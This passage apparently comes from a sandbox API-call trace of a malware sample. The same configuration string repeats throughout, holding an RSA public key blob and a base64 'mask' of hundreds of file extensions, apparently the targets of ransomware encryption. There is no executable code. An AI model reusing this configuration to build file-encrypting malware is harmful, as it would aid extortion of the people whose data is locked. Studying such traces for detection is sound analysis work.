CwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLm